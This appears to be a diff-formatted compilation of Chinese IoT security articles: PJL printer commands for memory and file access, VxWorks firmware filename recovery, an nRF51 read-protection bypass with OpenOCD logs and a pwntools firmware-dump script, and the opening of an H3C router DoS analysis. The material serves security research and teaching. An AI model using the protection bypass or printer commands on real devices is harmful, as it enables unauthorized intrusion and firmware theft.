@PJL SET DUPLEX = [ON, OFF] #双工模式(双面打印)
|
||||
|
||||
@PJL SET BINDING = [LONGEDGE, SHORTEDGE] #双工模式:短边、长边
|
||||
|
||||
@PJL RNVRAM ADDRESS #读取内存
|
||||
|
||||
@PJL OPMSG DISPLAY #设置打印机离线脱机
|
||||
|
||||
@PJL SET SERVICEMODE #设置服务模式
|
||||
|
||||
@PJL WNVRAM ADDRESS #写入内存
|
||||
|
||||
@PJL FSDIRLIST NAME #读取目录
|
||||
|
||||
@PJL FSQUERY NAME #读取文件
|
||||
|
||||
@PJL FSUPLOAD NAME #文件上传
|
||||
|
||||
@PJL FSDOWNLOAD #写入文件
|
||||
|
||||
```
|
||||
|
||||
2.PRET
|
||||
|
||||

|
||||
|
||||
这里我可以看到已经成功连接打印机,打印机的型号是hp LaserJet 1320 series,能够执行命令如上图;
|
||||
|
||||

|
||||
|
||||
查看配置信息,这里我们进行一下修改
|
||||
|
||||

|
||||
|
||||
这里我们已经成功更改了配置。
|
||||
|
||||
# 总结
|
||||
随着对支持移动设备打印的需求越来越大,支持Wi—Fi直连、NFC打印、云打印等移动功能的网络打印机逐渐成为人们日常生活办公中不可缺少的电子设备。学校、政府部门、医院等各个单位与机构都会使用打印机从安全的角度来看,由于打印设备部署于内部网络,通过它们可以直接访问到各种敏感信息,因此其安全性比较重要。但由于其功能特殊性,人们往往忽略其安全性,导致打印机安全问题颇多,弓发的安全事件也逐渐增多。
|
||||
|
||||
-end
|
||||
@@ -0,0 +1,160 @@
|
||||
# 探究vxworks文件名恢复
|
||||
> ba1100n
|
||||
> 来源:https://www.iotsec-zone.com/article/481
|
||||
|
||||
# 前言
|
||||
> VxWorks以其良好的可靠性和卓越的实时性被广泛地应用在通信、军事、航空、航天等高精尖技术及实时性要求极高的领域中,如卫星通讯、军事演习、弹道制导、飞机导航等。
|
||||
|
||||
遇到好几次Vxworks固件了,真是每次被拷打每次都有新的一点感悟,从不知所措到稍微知道怎么做了
|
||||
符号表缺失其实可以根据字符串的提示、静态编译的库函数的辨别去硬逆个大概,甚至有些残存符号表可以仔细找找恢复上去,
|
||||

|
||||
但如果是遇到某些路由函数,就可能没有办法——没办法去看路由到的文件,有时候就不能很好地分析整个数据流
|
||||
|
||||
因为,binwalk一把梭vxworks固件出来的画风往往是这样的,命名非常的混乱,但如果实际打开看看,内部内容其实是正常的
|
||||
|
||||

|
||||
仔细一想,vxworks系统启动的时候,肯定是有什么参照去恢复文件名和位置的,否则怎么做路由呢
|
||||
所以就开始了接下来的vxworks文件名恢复探究,以及,一键自动化
|
||||
# 寻找偏移表和文件命名
|
||||
既然要恢复文件名,反过来就可以grep一下文件名去找这个表。以上图第二个例子为例
|
||||
/userRpm/WzdAccessCtrlTargetAddRpm.htm
|
||||
grep -r "WzdAccessCtrlTargetAddRpm.htm"可以得到这几条结果:
|
||||

|
||||
可以看到有两个别的文件(实际上也是htm文件)定义了表单,提交数据到WzdAccessCtrlTargetAddRpm.htm
|
||||
只可惜我们连这两个htm叫什么名称都不知道,这就很难去分析数据流了
|
||||
说回正题,有两个文件引用了这个htm,分别是0x3FC0和0x53D60处分割出来的文件,以各自在固件中的偏移来命名(3FC0、53D60)
|
||||
实际上这两个文件是有来由的
|
||||
3FC0其实就是uImage镜像
|
||||
|
||||

|
||||
而0x53D60的大小远远大于其它LZMA压缩区域,实际上,这正是vxworks的主程序bin文件,也是我们平常分析的重点文件
|
||||
|
||||

|
||||
所以比较合理的解释是,53D60有这个字符串的原因是在web服务时进行路由
|
||||
而3FC0(uImage)作为vxworks的启动镜像,其拥有这个字符串的唯一原因,是在恢复文件名和结构什么的,所以,如果有偏移表,那就在uImage内部。把3FC0放入010editor看看:
|
||||
首先,是最初的引导部分,这里放的都是程序代码:
|
||||
|
||||

|
||||
搜索".htm"或者".png"之类的字符串,就能找到一个很整齐的表
|
||||
|
||||

|
||||
可以看到文件名的前面,好像有类似于偏移的记载,不过到目前还是猜测
|
||||
如果能找到一套正确的计算方法,能完全对上binwalk里面跑出来的镜像偏移的话,那就说明这确实可以用来恢复文件名
|
||||
至此,我们找到了最关键的表项,而具体的细节还需探究一下
|
||||
# 确认文件名与偏移量的对应关系
|
||||
## 偏移表结构
|
||||
一个容易踏入的误区是,刚开始以为文件名的前面是其对应大小和偏移,为此计算了十几个,发现不对劲,为什么每种文件总是有1-2个的偏移是别的文件类型,而其它都是对应类型的呢
|
||||
实际上,文件名的一串00 00 00 00后面,才是它的大小和偏移量
|
||||
|
||||

|
||||
|
||||
## 确定文件系统偏移
|
||||
一些固件,比如这个案例,会记载文件系统的偏移(没记载也可以有兼容性很好的方案,下一节细说)
|
||||
实际上,表里的偏移量+文件系统的偏移,将会对应到binwalk解包的文件名,即,在固件中的偏移值,这就是vxworks文件名恢复的方法
|
||||
|
||||

|
||||
|
||||
## 动手实验:偏移计算
|
||||
在反复的测试当中,我发现vxworks的文件系统有很多都是文件系统偏移0xF080+xxx的组合。比如,以png来作为测试案例:
|
||||
首先按MIME type排序一下,因为偏移表本身也是按照类型来集中排布的,这样可以方便实验
|
||||
|
||||

|
||||
|
||||
然后,以png为例进行偏移量的计算测试
|
||||
可以在010editor等工具里面找到如下.png字样
|
||||
|
||||

|
||||
将其偏移逐一取出,并加上刚刚提到的0xF080,我们可以得到一些偏移量:
|
||||
|
||||

|
||||
|
||||
如图所示,所有的文件名都能找到对应偏移,那么,说明这种办法是切实可行的:比如binwalk解析出来的1FDA8,我们就可以知道它其实叫做loginbg.png,等等
|
||||
(使用的excel语句是=DEC2HEX(HEX2DEC(B2) + HEX2DEC("F080")),可以帮助加快这个测试过程,不用每次都按计算器)
|
||||
紧接着来测试下jpg、gif,找到偏移表对应表项
|
||||
|
||||

|
||||
|
||||
实验结果如下
|
||||
|
||||

|
||||
|
||||

|
||||
全对,看来该方法是正确的
|
||||
# 思考一键自动化VxWorks文件名恢复过程
|
||||
接下来就是想自动化这个繁杂的过程,就是想能够像binwalk一样一键提取并恢复,而且为了以后反复使用,需要比较可靠的设计
|
||||
接下来介绍一些比较奇怪的设计的地方,力求更加兼容
|
||||
## 基本设计
|
||||
首先,binwalk的各种文件标签识别还是很厉害的,那就必须使用binwalk的结果了。同时我们需要binwalk -Me一下,以提取所有文件
|
||||
路径最好和默认的不一样,避免用户在先前的vxworks探索中改动了文件名什么的,导致部分文件找不到对应名称
|
||||
在binwalk结果里,IMG0 (VxWorks) header前后,将会是很多信息的集中点,其前面是uImage偏移,后面是文件系统,所以会有专门的字符串匹配
|
||||
## 如何自动提取文件系统偏移
|
||||
然后,我们需要读取IMG0 (VxWorks) header后面的那个文件系统偏移地址,
|
||||
|
||||

|
||||
经过实验有些案例里面并非IMG0 (VxWorks) header正下方的偏移,而是下下方的偏移
|
||||
|
||||

|
||||
所以,为了提高脚本的兼容性,设计成了尝试IMG0 (VxWorks) header后三行的偏移量,应该是没有太大兼容问题的
|
||||
|
||||
# 如何自动提取偏移表在uImage镜像位置
|
||||
再之后,需要从IMG0 (VxWorks) header前面的那个区域,比如这里的0x3FC0,里面存放有我们需要的表
|
||||
如何全自动确定这个表的位置,以让我们不需要手动打开HxD和010editor去手动给程序这个参数?
|
||||
|
||||

|
||||
|
||||
但是问题就来了,如刚才所述,最初的引导部分,这里放的都是程序代码:
|
||||
|
||||

|
||||
好消息是,在连续的启动引导代码以后,会有大片的00区域,思路是,其实可以进行检测,检测到多少个连续的00,就进入到搜索头部模式;如果检测到又有字符了,那基本上就是我们的IMG0头部了(对...对吗?哦布莱克斯)
|
||||
|
||||

|
||||
|
||||
对,也不对,有些固件是有多段引导代码的,
|
||||
具体表现例子为:
|
||||
程序片段1+"00 00 00 00"*n+程序片段2+"00 00 00 00"*n+程序片段3+"00 00 00 00"*n+偏移表
|
||||
那比较简单地一次匹配多次出现的00字节,自然会不对,这样会让程序匹配到程序片段2
|
||||
比如水星系列mw313r,其该表项藏在3个程序片段之后,0x8b1f0处,这也让我发现需要去兼容这个问题
|
||||
|
||||

|
||||
最后,采取的方案是在使用extract_file_info()函数提取信息时,检测名称的合法性,如果发现提取不了文件名(连续失败到一定的阈值,说明不正常了),那就在提取文件名失败的地方重新开始搜索偏移表
|
||||
|
||||

|
||||
|
||||

|
||||
## 怎么正确识别文件名
|
||||
正确识别文件名,即一个文件偏移记录块的开端,那么同时就可以解决偏移的提取问题
|
||||
仅限这些字符命名的文件:大小写字母、数字、下划线、短横线、斜杠,
|
||||
而且,必须有一个"."符号,因为vxworks目前遇到的,所有的文件都是有后缀的,即便是二进制文件
|
||||
而且,会按照4字节对齐的方式去取文件名
|
||||
总之这套正则匹配使得精确程度提高了,比如,下面的owowowow...字符串,等等,就不会被匹配进去
|
||||
|
||||

|
||||
|
||||
而万一有些文件里面如果有满足这种规则的坏字符串的话,还有最后两个办法:
|
||||
长度限制(满足这些规则以外,文件名长度还必须>=5)
|
||||
到最后的文件重命名环节,其需要确实对上了某个文件偏移才会被引用,否则会被丢弃
|
||||
|
||||

|
||||
还有就是,怎么知道文件名提取到了末尾呢
|
||||
其实就是,每次提取下一个文件名时,如果检测到连续0x100个非00字符,那就说明提取已经到尽头了,因为接下来就是下一个程序片段部分
|
||||
## 正确恢复文件名
|
||||
正确恢复文件名实际上还需要考虑到一件事:
|
||||
一部分固件的文件名如下,是没有带路径的
|
||||
|
||||

|
||||
而另一些还是有的
|
||||
|
||||

|
||||
所以需要分情况处理
|
||||
|
||||

|
||||
# 一键自动化vxworks文件提取和文件名恢复代码实现
|
||||
最后,附上开源代码
|
||||
[https://github.com/0xba1100n/vxfile_extractor](https://github.com/0xba1100n/vxfile_extractor)
|
||||
效果图
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
@@ -0,0 +1,422 @@
|
||||
# 提取共享单车固件
|
||||
> Question
|
||||
> 来源:https://www.iotsec-zone.com/article/156
|
||||
|
||||
# 起源
|
||||
万能的鱼塘收了一块板子想看看里面的固件。用swd链接后发现并不友好
|
||||

|
||||
## jflash链接后警告
|
||||

|
||||
|
||||
|
||||
# Memory Protection Unit(MPU) 简介
|
||||
可配置内存保护单元,能保护整个Flash内存空间,防止被读出、覆写、擦除。
|
||||
## 开启保护的方式
|
||||

|
||||
0xFFFF00FF 为开启保护。
|
||||
|
||||
|
||||
# 绕过原理
|
||||
|
||||
nrf51系列的保护只是保护了内存地址对外读取,但是内部调试依然可以正常进行,这里可以使用一些特殊手段把代码段的内容读取到寄存器中,然后通过查看寄存器的值就能拼接出完整的"代码"。
|
||||
|
||||
pc寄存器寻找可用的指令,如LDR R3,[R3],这里也称为gadget。
|
||||
|
||||
那么可以利用这句LDR R3, [R3],R3可以是任意寄存器。只要猜出某个指令是直接用寄存器寻址,就操控pc一直跑那条指令,控制存地址的寄存器为要读取的内存地址
|
||||
|
||||
# swd连接目标板子
|
||||
|
||||
|
||||
|
||||
```shell
|
||||
question@rbp4:/mnt/sda1/iot/nrf51822$ sudo openocd -c "interface jlink" -c "transport select swd" -c "adapter speed 4000" -f
|
||||
/usr/local/share/openocd/scripts/target/nrf51.cfg
|
||||
Open On-Chip Debugger 0.11.0+dev-00331-g53556fcde-dirty (2021-08-17-12:34)
|
||||
Licensed under GNU GPL v2
|
||||
For bug reports, read
|
||||
http://openocd.org/doc/doxygen/bugs.html
|
||||
DEPRECATED! use 'adapter driver' not 'interface'
|
||||
swd
|
||||
adapter speed: 4000 kHz
|
||||
|
||||
Info : Listening on port 6666 for tcl connections
|
||||
Info : Listening on port 4444 for telnet connections
|
||||
Info : J-Link V9 compiled May 7 2021 16:26:12
|
||||
Info : Hardware version: 9.20
|
||||
Info : VTarget = 3.270 V
|
||||
Info : clock speed 1000 kHz
|
||||
Info : SWD DPIDR 0x0bb11477
|
||||
Info : nrf51.cpu: hardware has 4 breakpoints, 2 watchpoints
|
||||
Info : starting gdb server for nrf51.cpu on 3333
|
||||
Info : Listening on port 3333 for gdb connections
|
||||
Info : accepting 'gdb' connection on tcp/3333
|
||||
target halted due to debug-request, current mode: Thread
|
||||
xPSR: 0x61000000 pc: 0x0000d16c msp: 0x20003a80
|
||||
Info : nRF51822-QFAA(build code: H0) 256kB Flash, 16kB RAM
|
||||
Info : dropped 'gdb' connection
|
||||
|
||||
```
|
||||
|
||||
```shell
|
||||
question@rbp4:/mnt/sda1/3d/klipper$ gdb-multiarch
|
||||
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "aarch64-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
<http://www.gnu.org/software/gdb/bugs/>.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
<http://www.gnu.org/software/gdb/documentation/>.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word".
|
||||
gdb-peda$ target extended-remote 127.0.0.1:3333
|
||||
Remote debugging using 127.0.0.1:3333
|
||||
warning: No executable has been specified and target does not support
|
||||
determining executable automatically. Try using the "file" command.
|
||||
0x0000d16c in ?? ()
|
||||
gdb-peda$
|
||||
```
|
||||
|
||||
## gdb中查看RBPCONF
|
||||
```bash
|
||||
gdb-peda$ x 0x10001004
|
||||
0x10001004: 0xffff00ff
|
||||
```
|
||||
可以可能到值是0xffff00ff 板子开启了保护。
|
||||
|
||||
# 寻找gadget
|
||||
|
||||
寻找过程就是不停的单步找到一个寄存器中保存的是内存地址 执行后能把地址的内容读到寄存器中
|
||||
|
||||
```shell
|
||||
question@rbp4:~$ telnet 127.0.0.1 4444
|
||||
Trying 127.0.0.1...
|
||||
Connected to 127.0.0.1.
|
||||
Escape character is '^]'.
|
||||
Open On-Chip Debugger
|
||||
> reset halt
|
||||
target halted due to debug-request, current mode: Thread
|
||||
xPSR: 0xc1000000 pc: 0x000006d0 msp: 0x000007c0
|
||||
> reg
|
||||
===== arm v7m registers
|
||||
(0) r0 (/32): 0xffffffff
|
||||
(1) r1 (/32): 0xffffffff
|
||||
(2) r2 (/32): 0xffffffff
|
||||
(3) r3 (/32): 0xffffffff
|
||||
(4) r4 (/32): 0xffffffff
|
||||
(5) r5 (/32): 0xffffffff
|
||||
(6) r6 (/32): 0xffffffff
|
||||
(7) r7 (/32): 0xffffffff
|
||||
(8) r8 (/32): 0xffffffff
|
||||
(9) r9 (/32): 0xffffffff
|
||||
(10) r10 (/32): 0xffffffff
|
||||
(11) r11 (/32): 0xffffffff
|
||||
(12) r12 (/32): 0xffffffff
|
||||
(13) sp (/32): 0x000007c0
|
||||
(14) lr (/32): 0xffffffff
|
||||
(15) pc (/32): 0x000006d0
|
||||
(16) xPSR (/32): 0xc1000000
|
||||
(17) msp (/32): 0x000007c0
|
||||
(18) psp (/32): 0xfffffffc
|
||||
(20) primask (/1): 0x00
|
||||
(21) basepri (/8): 0x00
|
||||
(22) faultmask (/1): 0x00
|
||||
(23) control (/3): 0x00
|
||||
===== Cortex-M DWT registers
|
||||
|
||||
> step
|
||||
target halted due to single-step, current mode: Thread
|
||||
xPSR: 0xc1000000 pc: 0x000006d2 msp: 0x000007c0
|
||||
> reg
|
||||
===== arm v7m registers
|
||||
(0) r0 (/32): 0xffffffff
|
||||
(1) r1 (/32): 0xffffffff
|
||||
(2) r2 (/32): 0xffffffff
|
||||
(3) r3 (/32): 0xffffffff
|
||||
(4) r4 (/32): 0xffffffff
|
||||
(5) r5 (/32): 0xffffffff
|
||||
(6) r6 (/32): 0xffffffff
|
||||
(7) r7 (/32): 0xffffffff
|
||||
(8) r8 (/32): 0xffffffff
|
||||
(9) r9 (/32): 0xffffffff
|
||||
(10) r10 (/32): 0xffffffff
|
||||
(11) r11 (/32): 0xffffffff
|
||||
(12) r12 (/32): 0xffffffff
|
||||
(13) sp (/32): 0x000007c0
|
||||
(14) lr (/32): 0xffffffff
|
||||
(15) pc (/32): 0x000006d2
|
||||
(16) xPSR (/32): 0xc1000000
|
||||
(17) msp (/32): 0x000007c0
|
||||
(18) psp (/32): 0xfffffffc
|
||||
(20) primask (/1): 0x00
|
||||
(21) basepri (/8): 0x00
|
||||
(22) faultmask (/1): 0x00
|
||||
(23) control (/3): 0x00
|
||||
===== Cortex-M DWT registers
|
||||
|
||||
> step
|
||||
target halted due to single-step, current mode: Thread
|
||||
xPSR: 0xc1000000 pc: 0x000006d4 msp: 0x000007c0
|
||||
> reg
|
||||
===== arm v7m registers
|
||||
(0) r0 (/32): 0xffffffff
|
||||
(1) r1 (/32): 0xffffffff
|
||||
(2) r2 (/32): 0xffffffff
|
||||
(3) r3 (/32): 0xffffffff
|
||||
(4) r4 (/32): 0x00000c00
|
||||
(5) r5 (/32): 0xffffffff
|
||||
(6) r6 (/32): 0xffffffff
|
||||
(7) r7 (/32): 0xffffffff
|
||||
(8) r8 (/32): 0xffffffff
|
||||
(9) r9 (/32): 0xffffffff
|
||||
(10) r10 (/32): 0xffffffff
|
||||
(11) r11 (/32): 0xffffffff
|
||||
(12) r12 (/32): 0xffffffff
|
||||
(13) sp (/32): 0x000007c0
|
||||
(14) lr (/32): 0xffffffff
|
||||
(15) pc (/32): 0x000006d4
|
||||
(16) xPSR (/32): 0xc1000000
|
||||
(17) msp (/32): 0x000007c0
|
||||
(18) psp (/32): 0xfffffffc
|
||||
(20) primask (/1): 0x00
|
||||
(21) basepri (/8): 0x00
|
||||
(22) faultmask (/1): 0x00
|
||||
(23) control (/3): 0x00
|
||||
===== Cortex-M DWT registers
|
||||
|
||||
> step
|
||||
target halted due to single-step, current mode: Thread
|
||||
xPSR: 0xc1000000 pc: 0x000006d6 msp: 0x000007c0
|
||||
> reg
|
||||
===== arm v7m registers
|
||||
(0) r0 (/32): 0xffffffff
|
||||
(1) r1 (/32): 0xffffffff
|
||||
(2) r2 (/32): 0xffffffff
|
||||
(3) r3 (/32): 0xffffffff
|
||||
(4) r4 (/32): 0xffffffff
|
||||
(5) r5 (/32): 0xffffffff
|
||||
(6) r6 (/32): 0xffffffff
|
||||
(7) r7 (/32): 0xffffffff
|
||||
(8) r8 (/32): 0xffffffff
|
||||
(9) r9 (/32): 0xffffffff
|
||||
(10) r10 (/32): 0xffffffff
|
||||
(11) r11 (/32): 0xffffffff
|
||||
(12) r12 (/32): 0xffffffff
|
||||
(13) sp (/32): 0x000007c0
|
||||
(14) lr (/32): 0xffffffff
|
||||
(15) pc (/32): 0x000006d6
|
||||
(16) xPSR (/32): 0xc1000000
|
||||
(17) msp (/32): 0x000007c0
|
||||
(18) psp (/32): 0xfffffffc
|
||||
(20) primask (/1): 0x00
|
||||
(21) basepri (/8): 0x00
|
||||
(22) faultmask (/1): 0x00
|
||||
(23) control (/3): 0x00
|
||||
===== Cortex-M DWT registers
|
||||
|
||||
> step
|
||||
target halted due to single-step, current mode: Thread
|
||||
xPSR: 0x61000000 pc: 0x000006d8 msp: 0x000007c0
|
||||
> reg
|
||||
===== arm v7m registers
|
||||
(0) r0 (/32): 0xffffffff
|
||||
(1) r1 (/32): 0xffffffff
|
||||
(2) r2 (/32): 0xffffffff
|
||||
(3) r3 (/32): 0xffffffff
|
||||
(4) r4 (/32): 0xffffffff
|
||||
(5) r5 (/32): 0xffffffff
|
||||
(6) r6 (/32): 0xffffffff
|
||||
(7) r7 (/32): 0xffffffff
|
||||
(8) r8 (/32): 0xffffffff
|
||||
(9) r9 (/32): 0xffffffff
|
||||
(10) r10 (/32): 0xffffffff
|
||||
(11) r11 (/32): 0xffffffff
|
||||
(12) r12 (/32): 0xffffffff
|
||||
(13) sp (/32): 0x000007c0
|
||||
(14) lr (/32): 0xffffffff
|
||||
(15) pc (/32): 0x000006d8
|
||||
(16) xPSR (/32): 0x61000000
|
||||
(17) msp (/32): 0x000007c0
|
||||
(18) psp (/32): 0xfffffffc
|
||||
(20) primask (/1): 0x00
|
||||
(21) basepri (/8): 0x00
|
||||
(22) faultmask (/1): 0x00
|
||||
(23) control (/3): 0x00
|
||||
===== Cortex-M DWT registers
|
||||
|
||||
> step
|
||||
target halted due to single-step, current mode: Thread
|
||||
xPSR: 0x61000000 pc: 0x000006da msp: 0x000007c0
|
||||
> reg
|
||||
===== arm v7m registers
|
||||
(0) r0 (/32): 0xffffffff
|
||||
(1) r1 (/32): 0xffffffff
|
||||
(2) r2 (/32): 0xffffffff
|
||||
(3) r3 (/32): 0xffffffff
|
||||
(4) r4 (/32): 0xffffffff
|
||||
(5) r5 (/32): 0xffffffff
|
||||
(6) r6 (/32): 0xffffffff
|
||||
(7) r7 (/32): 0xffffffff
|
||||
(8) r8 (/32): 0xffffffff
|
||||
(9) r9 (/32): 0xffffffff
|
||||
(10) r10 (/32): 0xffffffff
|
||||
(11) r11 (/32): 0xffffffff
|
||||
(12) r12 (/32): 0xffffffff
|
||||
(13) sp (/32): 0x000007c0
|
||||
(14) lr (/32): 0xffffffff
|
||||
(15) pc (/32): 0x000006da
|
||||
(16) xPSR (/32): 0x61000000
|
||||
(17) msp (/32): 0x000007c0
|
||||
(18) psp (/32): 0xfffffffc
|
||||
(20) primask (/1): 0x00
|
||||
(21) basepri (/8): 0x00
|
||||
(22) faultmask (/1): 0x00
|
||||
(23) control (/3): 0x00
|
||||
===== Cortex-M DWT registers
|
||||
|
||||
> setp
|
||||
invalid command name "setp"
|
||||
> step
|
||||
target halted due to single-step, current mode: Thread
|
||||
xPSR: 0x61000000 pc: 0x000006dc msp: 0x000007c0
|
||||
> reg
|
||||
===== arm v7m registers
|
||||
(0) r0 (/32): 0xffffffff
|
||||
(1) r1 (/32): 0xffffffff
|
||||
(2) r2 (/32): 0xffffffff
|
||||
(3) r3 (/32): 0x10001014 <-------------看这里
|
||||
(4) r4 (/32): 0xffffffff
|
||||
(5) r5 (/32): 0xffffffff
|
||||
(6) r6 (/32): 0xffffffff
|
||||
(7) r7 (/32): 0xffffffff
|
||||
(8) r8 (/32): 0xffffffff
|
||||
(9) r9 (/32): 0xffffffff
|
||||
(10) r10 (/32): 0xffffffff
|
||||
(11) r11 (/32): 0xffffffff
|
||||
(12) r12 (/32): 0xffffffff
|
||||
(13) sp (/32): 0x000007c0
|
||||
(14) lr (/32): 0xffffffff
|
||||
(15) pc (/32): 0x000006dc <-------------看这里
|
||||
(16) xPSR (/32): 0x61000000
|
||||
(17) msp (/32): 0x000007c0
|
||||
(18) psp (/32): 0xfffffffc
|
||||
(20) primask (/1): 0x00
|
||||
(21) basepri (/8): 0x00
|
||||
(22) faultmask (/1): 0x00
|
||||
(23) control (/3): 0x00
|
||||
===== Cortex-M DWT registers
|
||||
|
||||
> step
|
||||
target halted due to single-step, current mode: Thread
|
||||
xPSR: 0x61000000 pc: 0x000006de msp: 0x000007c0
|
||||
> reg
|
||||
===== arm v7m registers
|
||||
(0) r0 (/32): 0xffffffff
|
||||
(1) r1 (/32): 0xffffffff
|
||||
(2) r2 (/32): 0xffffffff
|
||||
(3) r3 (/32): 0x0003b000 <-------------看这里
|
||||
(4) r4 (/32): 0xffffffff
|
||||
(5) r5 (/32): 0xffffffff
|
||||
(6) r6 (/32): 0xffffffff
|
||||
(7) r7 (/32): 0xffffffff
|
||||
(8) r8 (/32): 0xffffffff
|
||||
(9) r9 (/32): 0xffffffff
|
||||
(10) r10 (/32): 0xffffffff
|
||||
(11) r11 (/32): 0xffffffff
|
||||
(12) r12 (/32): 0xffffffff
|
||||
(13) sp (/32): 0x000007c0
|
||||
(14) lr (/32): 0xffffffff
|
||||
(15) pc (/32): 0x000006de
|
||||
(16) xPSR (/32): 0x61000000
|
||||
(17) msp (/32): 0x000007c0
|
||||
(18) psp (/32): 0xfffffffc
|
||||
(20) primask (/1): 0x00
|
||||
(21) basepri (/8): 0x00
|
||||
(22) faultmask (/1): 0x00
|
||||
(23) control (/3): 0x00
|
||||
===== Cortex-M DWT registers
|
||||
|
||||
```
|
||||
|
||||
可以看到 $pc =0x000006dc ,正是我们需要的。
|
||||
|
||||
```shell
|
||||
> reg r3 0x10001004
|
||||
r3 (/32): 0x10001004
|
||||
|
||||
> reg pc 0x000006dc
|
||||
pc (/32): 0x000006dc
|
||||
|
||||
> step
|
||||
target halted due to single-step, current mode: Thread
|
||||
xPSR: 0x61000000 pc: 0x000006de msp: 0x000007c0
|
||||
> reg
|
||||
===== arm v7m registers
|
||||
(0) r0 (/32): 0xffffffff
|
||||
(1) r1 (/32): 0xffffffff
|
||||
(2) r2 (/32): 0xffffffff
|
||||
(3) r3 (/32): 0xffff00ff <-------------看这里
|
||||
(4) r4 (/32): 0xffffffff
|
||||
(5) r5 (/32): 0xffffffff
|
||||
(6) r6 (/32): 0xffffffff
|
||||
(7) r7 (/32): 0xffffffff
|
||||
(8) r8 (/32): 0xffffffff
|
||||
(9) r9 (/32): 0xffffffff
|
||||
(10) r10 (/32): 0xffffffff
|
||||
(11) r11 (/32): 0xffffffff
|
||||
(12) r12 (/32): 0xffffffff
|
||||
(13) sp (/32): 0x000007c0
|
||||
(14) lr (/32): 0xffffffff
|
||||
(15) pc (/32): 0x000006de
|
||||
(16) xPSR (/32): 0x61000000
|
||||
(17) msp (/32): 0x000007c0
|
||||
(18) psp (/32): 0xfffffffc
|
||||
(20) primask (/1): 0x00
|
||||
(21) basepri (/8): 0x00
|
||||
(22) faultmask (/1): 0x00
|
||||
(23) control (/3): 0x00
|
||||
===== Cortex-M DWT registers
|
||||
|
||||
>
|
||||
```
|
||||
|
||||
# dump固件
|
||||
网上找了个大佬写好的固件。
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
import re
|
||||
|
||||
p = remote("127.0.0.1", "4444") #openocd telnet
|
||||
|
||||
p.recvuntil(">")
|
||||
p.write("reset halt\n")
|
||||
p.recvuntil(">")
|
||||
|
||||
with open("firmware.bin", "wb") as f:
|
||||
for addr in range(0, 0x40000, 4):
|
||||
p.write("reg pc 0x000006dc\n")
|
||||
p.recvuntil(">")
|
||||
p.write("reg r3 " + hex(addr) + "\n")
|
||||
p.recvuntil(">")
|
||||
p.write("step\n")
|
||||
p.recvuntil(">")
|
||||
p.write("reg r3\n")
|
||||
|
||||
ret = p.recvuntil(">")
|
||||
d = re.search('0x[0-9a-fA-F]{8}', ret.decode('utf-8'))[0]
|
||||
f.write(p32(int(d, 16)))
|
||||
if addr % 0x100 == 0:
|
||||
print("reading:", addr)
|
||||
```
|
||||
|
||||
跑码
|
||||

|
||||
|
||||
查看固件
|
||||

|
||||
@@ -0,0 +1,223 @@
|
||||
# 新华三magicR100存在DOS攻击漏洞分析
|
||||
> ReStr0
|
||||
> 来源:https://www.iotsec-zone.com/article/122
|
||||
|
||||
# 新华三magicR100存在DOS攻击漏洞分析
|
||||
|
||||
### 漏洞描述
|
||||
|
||||
存在/AJAX/ajaxget接口可以非授权访问,通过ajaxmsg传参发送大量数据进行DOS攻击
|
||||
|
||||
版本:<=MagicR100V100R005
|
||||
<=MagciR100V200R00
|
||||
|
||||
### 漏洞分析与复现
|
||||
|
||||
### 一、固件获取和解包
|
||||
|
||||
虽然我有物理机,但是我还是从官网下的更新固件包,[https://download.h3c.com.cn/download.do?id=3342938](https://download.h3c.com.cn/download.do?id=3342938)
|
||||
|
||||
通过binwalk R100V100R100进行解包,发现可以直接查看到内容,
|
||||
|
||||
```shell
|
||||
ZHEFOX@ZHEFOX-MacOS:~/Desktop$ binwalk R100V100R005.bin
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
--------------------------------------------------------------------------------
|
||||
33280 0x8200 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4145728 bytes
|
||||
1245184 0x130000 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2269691 bytes, 534 inodes, blocksize: 131072 bytes, created: 2018-01-17 03:54:08
|
||||
```
|
||||
|
||||
使用binwalk -eM R100V100R100进行提取
|
||||
|
||||
```
|
||||
ZHEFOX@ZHEFOX-MacOS:~/Desktop$ binwalk -eM R100V100R005.bin
|
||||
|
||||
Scan Time: 2022-03-31 19:12:49
|
||||
Target File: /home/ZHEFOX/Desktop/R100V100R005.bin
|
||||
MD5 Checksum: 42ec9ec3de32216ae2d93ad1ff3a208b
|
||||
Signatures: 411
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
--------------------------------------------------------------------------------
|
||||
33280 0x8200 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4145728 bytes
|
||||
|
||||
WARNING: Symlink points outside of the extraction directory: /home/ZHEFOX/Desktop/_R100V100R005.bin.extracted/squashfs-root/web -> /var/web; changing link target to /dev/null for security purposes.
|
||||
|
||||
WARNING: Symlink points outside of the extraction directory: /home/ZHEFOX/Desktop/_R100V100R005.bin.extracted/squashfs-root/dev/log -> /var/tmp/log; changing link target to /dev/null for security purposes.
|
||||
1245184 0x130000 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2269691 bytes, 534 inodes, blocksize: 131072 bytes, created: 2018-01-17 03:54:08
|
||||
|
||||
Scan Time: 2022-03-31 19:12:51
|
||||
Target File: /home/ZHEFOX/Desktop/_R100V100R005.bin.extracted/8200
|
||||
MD5 Checksum: 4b2d56fb09ee2c3feafac6513c01f7c6
|
||||
Signatures: 411
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
--------------------------------------------------------------------------------
|
||||
